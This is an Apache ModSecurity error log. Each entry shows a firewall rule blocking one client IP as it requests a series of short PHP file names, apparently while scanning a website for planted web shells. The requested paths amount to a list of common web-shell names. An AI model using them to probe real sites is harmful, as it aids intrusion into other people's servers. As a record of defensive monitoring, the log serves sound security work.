[Sun Mar 29 18:50:35.472047 2026] [:error] [pid 32257:tid 32338] [client 51.103.28.129:44701] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/epinyins.php"] [unique_id "ackD-yE3TArOFrUtgWrTwAAAAJQ"]
[Sun Mar 29 18:50:36.343750 2026] [:error] [pid 23168:tid 23210] [client 51.103.28.129:16526] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/i1.php"] [unique_id "ackD_GP8p0yRL8ot_29nRgAAAg0"]
[Sun Mar 29 18:50:37.089429 2026] [:error] [pid 23250:tid 23256] [client 51.103.28.129:23476] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/i1.php"] [unique_id "ackD_Zxrpj-dQjy1cvrnvQAAAkQ"]
[Sun Mar 29 18:50:37.798405 2026] [:error] [pid 32257:tid 32335] [client 51.103.28.129:44694] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/i1.php"] [unique_id "ackD_SE3TArOFrUtgWrT0AAAAJE"]
[Sun Mar 29 18:50:38.615688 2026] [:error] [pid 32257:tid 32321] [client 51.103.28.129:60224] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/i1.php"] [unique_id "ackD_iE3TArOFrUtgWrT3QAAAIM"]
[Sun Mar 29 18:50:39.400585 2026] [:error] [pid 32255:tid 32294] [client 51.103.28.129:27909] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vv.php"] [unique_id "ackD_2nfn-AtRoMbquyoAAAAAEM"]
[Sun Mar 29 18:50:40.257631 2026] [:error] [pid 23284:tid 23309] [client 51.103.28.129:37236] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vv.php"] [unique_id "ackEAIzBujdPHsq7wyQtRgAAApc"]
[Sun Mar 29 18:50:41.023861 2026] [:error] [pid 8818:tid 8842] [client 51.103.28.129:23433] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vv.php"] [unique_id "ackEASCDvotZNSF0FBq8kQAAAVQ"]
[Sun Mar 29 18:50:41.738694 2026] [:error] [pid 32257:tid 32320] [client 51.103.28.129:58534] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vv.php"] [unique_id "ackEASE3TArOFrUtgWrT8QAAAII"]
[Sun Mar 29 18:50:42.593632 2026] [:error] [pid 32257:tid 32318] [client 51.103.28.129:38474] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oo.php"] [unique_id "ackEAiE3TArOFrUtgWrT-AAAAIA"]
[Sun Mar 29 18:50:43.219089 2026] [:error] [pid 32257:tid 32335] [client 51.103.28.129:22690] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oo.php"] [unique_id "ackEAyE3TArOFrUtgWrUAAAAAJE"]
[Sun Mar 29 18:50:44.143080 2026] [:error] [pid 32254:tid 32267] [client 51.103.28.129:16514] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oo.php"] [unique_id "ackEBKug2IHuyGgCTn9LCAAAAAM"]
[Sun Mar 29 18:50:45.586129 2026] [:error] [pid 23168:tid 23210] [client 51.103.28.129:40905] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oo.php"] [unique_id "ackEBWP8p0yRL8ot_29nTgAAAg0"]
[Sun Mar 29 18:50:46.480682 2026] [:error] [pid 23137:tid 23161] [client 51.103.28.129:27931] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sk.php"] [unique_id "ackEBhaWQa7LdZ_qGFbh7QAAAZY"]
[Sun Mar 29 18:50:48.219251 2026] [:error] [pid 23284:tid 23288] [client 51.103.28.129:40948] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sk.php"] [unique_id "ackECIzBujdPHsq7wyQtXwAAAoI"]
[Sun Mar 29 18:50:49.949822 2026] [:error] [pid 23284:tid 23289] [client 51.103.28.129:17688] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sk.php"] [unique_id "ackECYzBujdPHsq7wyQtZAAAAoM"]
[Sun Mar 29 18:50:50.716156 2026] [:error] [pid 23168:tid 23205] [client 51.103.28.129:26253] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sk.php"] [unique_id "ackECmP8p0yRL8ot_29nUgAAAgg"]
[Sun Mar 29 18:51:40.060294 2026] [:error] [pid 23284:tid 23289] [client 51.103.28.129:15796] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "ackEPIzBujdPHsq7wyQtzQAAAoM"]
[Sun Mar 29 18:51:43.090481 2026] [:error] [pid 32257:tid 32327] [client 51.103.28.129:37270] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "ackEPyE3TArOFrUtgWrU2wAAAIk"]
[Sun Mar 29 18:51:43.967732 2026] [:error] [pid 32257:tid 32325] [client 51.103.28.129:21230] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "ackEPyE3TArOFrUtgWrU4QAAAIc"]
[Sun Mar 29 18:51:44.884293 2026] [:error] [pid 8818:tid 8822] [client 51.103.28.129:33779] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "ackEQCCDvotZNSF0FBq8rQAAAUA"]
[Sun Mar 29 18:51:45.471014 2026] [:error] [pid 23137:tid 23142] [client 51.103.28.129:42035] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "ackEQRaWQa7LdZ_qGFbiDwAAAYM"]
[Sun Mar 29 18:51:46.108831 2026] [:error] [pid 32255:tid 32308] [client 51.103.28.129:65380] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "ackEQmnfn-AtRoMbquyoXQAAAFE"]
[Sun Mar 29 18:51:46.596317 2026] [:error] [pid 23284:tid 23288] [client 51.103.28.129:21220] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "ackEQozBujdPHsq7wyQt3AAAAoI"]
[Sun Mar 29 18:51:47.483558 2026] [:error] [pid 8818:tid 8836] [client 51.103.28.129:42469] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "ackEQyCDvotZNSF0FBq8sQAAAU4"]
[Sun Mar 29 18:51:48.062673 2026] [:error] [pid 32359:tid 32379] [client 51.103.28.129:21175] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "ackERAMb8G3UzfQP3WgY-AAAANI"]
[Sun Mar 29 18:51:48.642986 2026] [:error] [pid 32255:tid 32307] [client 51.103.28.129:21228] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "ackERGnfn-AtRoMbquyoYQAAAFA"]
[Sun Mar 29 18:51:49.303202 2026] [:error] [pid 32257:tid 32330] [client 51.103.28.129:33743] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "ackERSE3TArOFrUtgWrU6wAAAIw"]
[Sun Mar 29 18:51:49.860337 2026] [:error] [pid 32257:tid 32335] [client 51.103.28.129:52118] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "ackERSE3TArOFrUtgWrU7gAAAJE"]
[Sun Mar 29 18:51:50.396531 2026] [:error] [pid 32255:tid 32295] [client 51.103.28.129:56758] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "ackERmnfn-AtRoMbquyoagAAAEQ"]
[Sun Mar 29 18:51:51.076651 2026] [:error] [pid 23168:tid 23216] [client 51.103.28.129:21134] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "ackER2P8p0yRL8ot_29ndgAAAhM"]
[Sun Mar 29 18:51:51.799378 2026] [:error] [pid 32257:tid 32337] [client 51.103.28.129:56765] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "ackERyE3TArOFrUtgWrU8QAAAJM"]
[Sun Mar 29 18:51:52.427507 2026] [:error] [pid 23167:tid 23177] [client 51.103.28.129:18156] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "ackESBIAHJCFaHff3_eWwwAAAcc"]
[Sun Mar 29 18:51:53.430514 2026] [:error] [pid 23284:tid 23288] [client 51.103.28.129:16187] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "ackESYzBujdPHsq7wyQt6QAAAoI"]
[Sun Mar 29 18:51:55.285970 2026] [:error] [pid 23168:tid 23204] [client 51.103.28.129:21217] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "ackES2P8p0yRL8ot_29nfQAAAgc"]
[Sun Mar 29 18:51:55.797412 2026] [:error] [pid 23284:tid 23306] [client 51.103.28.129:19709] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "ackES4zBujdPHsq7wyQt7AAAApQ"]
[Sun Mar 29 18:51:56.491559 2026] [:error] [pid 32359:tid 32368] [client 51.103.28.129:18161] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "ackETAMb8G3UzfQP3WgY-QAAAMc"]
[Sun Mar 29 18:51:57.094463 2026] [:error] [pid 23284:tid 23309] [client 51.103.28.129:46348] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "ackETYzBujdPHsq7wyQt-wAAApc"]
[Sun Mar 29 18:51:57.691563 2026] [:error] [pid 32255:tid 32308] [client 51.103.28.129:36785] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "ackETWnfn-AtRoMbquyodAAAAFE"]
[Sun Mar 29 18:51:58.362507 2026] [:error] [pid 23250:tid 23269] [client 51.103.28.129:53135] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "ackETpxrpj-dQjy1cvrn3wAAAlE"]
[Sun Mar 29 18:51:58.939554 2026] [:error] [pid 23284:tid 23294] [client 51.103.28.129:3366] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "ackETozBujdPHsq7wyQuBAAAAog"]
[Sun Mar 29 18:51:59.613146 2026] [:error] [pid 23284:tid 23299] [client 51.103.28.129:21215] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "ackET4zBujdPHsq7wyQuBQAAAo0"]
[Sun Mar 29 18:52:00.475487 2026] [:error] [pid 32255:tid 32309] [client 51.103.28.129:56739] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "ackEUGnfn-AtRoMbquyoewAAAFI"]
[Sun Mar 29 18:52:01.054090 2026] [:error] [pid 23137:tid 23149] [client 51.103.28.129:54628] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "ackEURaWQa7LdZ_qGFbiFQAAAYo"]
[Sun Mar 29 18:52:01.684111 2026] [:error] [pid 23250:tid 23274] [client 51.103.28.129:31320] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "ackEUZxrpj-dQjy1cvrn4gAAAlY"]
[Sun Mar 29 18:52:02.552299 2026] [:error] [pid 23284:tid 23308] [client 51.103.28.129:32889] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xc.php"] [unique_id "ackEUozBujdPHsq7wyQuDwAAApY"]
[Sun Mar 29 18:52:03.312762 2026] [:error] [pid 23250:tid 23276] [client 51.103.28.129:46345] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xc.php"] [unique_id "ackEU5xrpj-dQjy1cvrn4wAAAlg"]
[Sun Mar 29 18:52:03.948493 2026] [:error] [pid 23137:tid 23139] [client 51.103.28.129:31350] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xc.php"] [unique_id "ackEUxaWQa7LdZ_qGFbiGAAAAYA"]
[Sun Mar 29 18:52:04.609176 2026] [:error] [pid 32255:tid 32315] [client 51.103.28.129:36766] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xc.php"] [unique_id "ackEVGnfn-AtRoMbquyogQAAAFg"]
[Sun Mar 29 18:52:05.899826 2026] [:error] [pid 23168:tid 23210] [client 51.103.28.129:54655] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "ackEVWP8p0yRL8ot_29njAAAAg0"]
[Sun Mar 29 18:52:06.717455 2026] [:error] [pid 23168:tid 23212] [client 51.103.28.129:3174] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "ackEVmP8p0yRL8ot_29nkAAAAg8"]
[Sun Mar 29 18:52:07.579316 2026] [:error] [pid 32255:tid 32302] [client 51.103.28.129:46358] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "ackEV2nfn-AtRoMbquyoiQAAAEs"]
[Sun Mar 29 18:52:08.317818 2026] [:error] [pid 8818:tid 8832] [client 51.103.28.129:65363] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "ackEWCCDvotZNSF0FBq8wwAAAUo"]
[Sun Mar 29 18:52:08.952306 2026] [:error] [pid 32257:tid 32319] [client 51.103.28.129:52119] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yanz.php"] [unique_id "ackEWCE3TArOFrUtgWrVCAAAAIE"]
[Sun Mar 29 18:52:09.684484 2026] [:error] [pid 32359:tid 32372] [client 51.103.28.129:3140] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yanz.php"] [unique_id "ackEWQMb8G3UzfQP3WgY_wAAAMs"]
[Sun Mar 29 18:52:10.435430 2026] [:error] [pid 32255:tid 32301] [client 51.103.28.129:31308] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yanz.php"] [unique_id "ackEWmnfn-AtRoMbquyojQAAAEo"]
[Sun Mar 29 18:52:11.360175 2026] [:error] [pid 32254:tid 32281] [client 51.103.28.129:46379] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yanz.php"] [unique_id "ackEW6ug2IHuyGgCTn9LHwAAABE"]
